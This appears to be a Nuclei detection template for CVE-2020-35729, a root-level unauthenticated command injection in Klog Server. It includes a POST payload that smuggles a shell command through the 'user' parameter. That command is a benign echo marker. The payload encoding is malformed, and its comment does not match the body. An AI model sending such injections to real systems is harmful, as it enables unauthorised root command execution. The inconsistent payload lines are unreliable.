id: CVE-2020-35729

info:
  name: Klog Server Unauthenticated Command Injection
  author: dwisiswant0
  severity: critical
  reference: https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
  description: |
    This template exploits an unauthenticated command injection vulnerability
    in Klog Server versions 2.4.1 and prior.

    The `authenticate.php` file uses the `user` HTTP POST parameter in a call
    to the `shell_exec()` PHP function without appropriate input validation,
    allowing arbitrary command execution as the apache user.

    The sudo configuration permits the apache user to execute any command
    as root without providing a password, resulting in privileged command
    execution as root.

    Originated from Metasploit module, copyright (c) space-r7.
  tags: cve,cve2020,klog,rce

requests:
  - method: POST
    path:
      - "{{BaseURL}}/actions/authenticate.php"
    body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
    matchers:
      - type: word
        words:
          - "poc-testing" # from Base64 decoding payload